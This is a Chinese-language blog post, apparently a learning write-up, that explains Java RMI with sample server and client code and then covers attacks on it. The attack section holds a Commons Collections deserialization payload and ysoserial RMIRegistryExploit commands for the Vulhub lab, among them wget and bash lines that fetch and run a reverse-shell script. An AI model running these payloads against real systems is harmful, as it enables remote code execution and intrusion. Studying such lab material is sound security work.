2123 字
11 分钟
Java-RMI与利用&Vulhub-RMI-Registry
2024-08-27

Vulhub java

什么是RMI#

RMI 是远程⽅法调⽤的简称,能够帮助我们查找并执⾏远程对象的⽅法。通俗地说,远程调⽤就象将⼀个 class 放在 A 机器上,然后在 B 机器中调⽤这个 class 的⽅法。

RMI ( Remote Method Invocation ),为远程⽅法调⽤,是允许运⾏在⼀个 Java 虚拟机的对象 调⽤运⾏在另⼀个Java 虚拟机上的对象的⽅法。 这两个虚拟机可以是运⾏在相同计算机上的不同 进程中,也可以是运⾏在⽹络上的不同计算机中。

Java RMI ( Java Remote Method Invocation ),是 Java 编程语⾔⾥⼀种⽤于实现远程过程 调⽤的应⽤程序编程接⼝。它使客户机上运⾏的程序可以调⽤远程服务器上的对象。远程⽅法调⽤ 特性使 Java 编程⼈员能够在⽹络环境中分布操作。 RMI 全部的宗旨就是尽可能简化远程接⼝对象的 使⽤。 从客户端- 服务器模型来看,客户端程序直接调⽤服务端,两者之间是通过 JRMP ( Java Remote Method Protocol )协议通信,这个协议类似于 HTTP 协议,规定了客户端和服务端通信要满⾜的规范。

n4ohm

Stub和Skeleton#

简单来说就是客户端与服务端之间通信的代理

其中位于客户端的代理类称为Stub 即存根(包含服务器 Skeleton 信息),位于服务端的代理类称为 Skeleton 即⻣⼲⽹。

RMI registry 注册中心#

远程对象是存在于服务端以供客户端调⽤⽅法的对象。

任何可以被远程调⽤的对象都必须实现 java.rmi.Remote 接⼝,远程对象的实现类必须继承 UnicastRemoteObject 类。

这个远程对象中可 能有很多个函数,但是只有在远程接⼝中声明的函数才能被远程调⽤,其他的公共函数只能在本地的 JVM 中使⽤。

远程对象#

远程对象是存在于服务端以供客户端调⽤⽅法的对象。任何可以被远程调⽤的对象都必须实现 java.rmi.Remote 接⼝,远程对象的实现类必须继承 UnicastRemoteObject 类。这个远程对象中可 能有很多个函数,但是只有在远程接⼝中声明的函数才能被远程调⽤,其他的公共函数只能在本地的 JVM 中使⽤。

序列化#

各个节点之间的通信都是通过序列化后的数据进行传输

反序列化时会调用readObject(),我们对其重写便可达到执行命令的目的(这个之后西索

这些传输的对象必须可以被序列化,相应的类必须实现 java.io.Serializable 接⼝,并且客户端的 serialVersionUID 字段要与服务器端保持⼀致。

流程 & 搭建RMI#

实现接口#

//HelloService.java
package main;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloService extends Remote {
  //继承Remote
    public String service(String data) throws RemoteException;
  //返回字符串的一个函数
}

实现类#

//HelloServiceImpl.java
package main;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// Inherit UnicastRemoteObject and implement HelloService interface
public class HelloServiceImpl extends UnicastRemoteObject
        implements HelloService {

    private static final long serialVersionUID = 1L;
    private String name;

    public HelloServiceImpl(String name) throws RemoteException {
        super();
        this.name = name;
        // UnicastRemoteObject.exportObject(this, 0);
    }

    @Override
    public String service(String data) throws RemoteException {
        return data + name;
    }
      //实现了接口的功能
}

服务端搭建#

//Server.java
package main;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Server {

    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(2333);
			//创建一个在端口2333上监听的RMI注册表
            HelloService service1 = new HelloServiceImpl("service1");
            Context namingContext = new InitialContext();
            namingContext.rebind("rmi://localhost:2333/HelloService1",
                    service1);
          	//将远程对象绑定到注册表,service1为远程接口的代理对象
        }
        catch (RemoteException | NamingException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        System.out.println("Successfully register a remote object.");
		//远程对象创建成功
    }
}

客户端搭建#

//Client.java
package main;

import java.rmi.RemoteException;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) {
        // TODO Auto-generated method stub
        String url = "rmi://localhost:2333/";
        try {
            Context namingContext = new InitialContext();
            HelloService serv = (HelloService) namingContext.lookup(
                    url + "HelloService1");
            String data = "当你看到这句话时,意味着RMI运行成功";
            System.out.println(serv.service(data));
        }
        catch (NamingException | RemoteException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }
}

过程#

首先,服务端生成一个远程对象,之后服务端向注册中心注册该远程对象,

此时运行客户端,客户端会向注册中心查找该远程对象,注册中心便会向客户端返回stub代理,

客户端拿到stub,通过它调用远程对象的方法(用ip和端口连接到RMI服务器),stub与服务端的skleton进行通信

接收到请求的skleton在服务端内调用该远程方法,并返回了执行结果

再次通过代理通信返回个客户端

-#

首先运行服务端,再运行客户端便可得到

87pvs 创建远程对象成功 2d7ml

50v7l 关闭客户端后服务端也会关闭

RMI利用#

Java代码审计(四) 如何攻击RMI应用?

RMI漏洞 - 先知社区

Java RMI远程利用分析 - 长亭科技

试探RMI服务#

BaRMIe - RMI枚举和攻击工具

RMI注册中心只有对于来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。 不过list和lookup方法可以远程调用。

于是我们可以使用该工具去嗅探和攻击

在此时我们启动Server 同时使用该工具进行枚举类

java -jar .\BaRMIe_v1.01.jar -enum 127.0.0.1 2333

fidtw 可以看到类名等注册中心的信息

攻击RMI服务端#

CVE-2018-1297

如同刚开始所说的,RMI通信都是传递序列化数据,于是存在java反序列化漏洞

而反序列化的操作在服务端和客户端都有,于是都存在漏洞(readObject)让对方利用

使用同样的工具 3oqvo 用攻击模式可以指定使用不同的反序列化链去攻击

RMI反序列化攻击

package com.rmidemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class client {
    public static void main(String[] args) throws Exception {
        String url = "rmi://192.168.20.130:1099/user";
        User userClient = (User) Naming.lookup(url);


        userClient.work(getpayload());

    }
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "sijidou");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Retention.class, transformedMap);
        return instance;
    }


}

复制了段payload,可以发现客户端将恶意反序列化数据(CC链)发送到了服务端

动态加载恶意类#

codebase#

Java RMI codebase 小议

值得一提的是,由于codebase的指定是相互的,所以,只要满足条件客户端与服务端是可以相互攻击的~

RMI的流程中,客户端和服务端之间传递的是一些序列化后的对象。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类。

如果当前JVM中没有某个类的定义(即CLASSPATH下没有),它可以根据codebase去下载这个类的class,然后动态加载这个对象class文件。

codebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类;CLASSPATH是本地路径,而codebase通常是远程URL,比如http、ftp等。所以动态加载的class文件可以保存在web服务器、ftp中。

如果我们指定 codebase=http://example.com/ ,动态加载 org.vulhub.example.Example 类, 则Java虚拟机会下载这个文件http://example.com/org/vulhub/example/Example.class ,并作为 Example类的字节码。

那么只要控制了codebase,就可以加载执行恶意类。

利用限制条件:

安装并配置了SecurityManager

Java版本低于7u21、6u45,

或者设置了 java.rmi.server.useCodebaseOnly=false

最主要的是服务端的codebase可控

JNDI注入#

md怎么都六月了,这个之后单开西索

Vulhub的Java RMI Registry 反序列化漏洞#

jdk8u41下载

学习Vulhub的Java RMI Registry 反序列化漏洞(<=jdk8u111)

https://github.com/vulhub/vulhub/tree/master/java

用gitzip下载指定的github文件夹(要用chrome,edge死活用不了

docker compose build
docker compose run -e RMIIP=your-ip -p 1099:1099 rmi

这里在本地执行了,所以ip是127.0.0.1

76elt 通过ysoserial的exploit包中的RMIRegistryExploit进行攻击

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections6 "curl ip"

curl vps,同时监听端口,得到

efdr2

实测不能直接将shell反弹,需要将反弹shell放在.sh然后在payload中用

(这里直接复制了)

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 144.34.162.13 1099 CommonsCollections6 "wget http://ip/ailx10.sh -O /tmp/shell"

执行sh文件

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit 144.34.162.13 1099 CommonsCollections6 "bash /tmp/shell"

getshell

Java-RMI与利用&Vulhub-RMI-Registry
http://orxiain.life/posts/java-rmi与利用vulhub-rmi-registry/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-08-27
许可协议
CC BY-NC-SA 4.0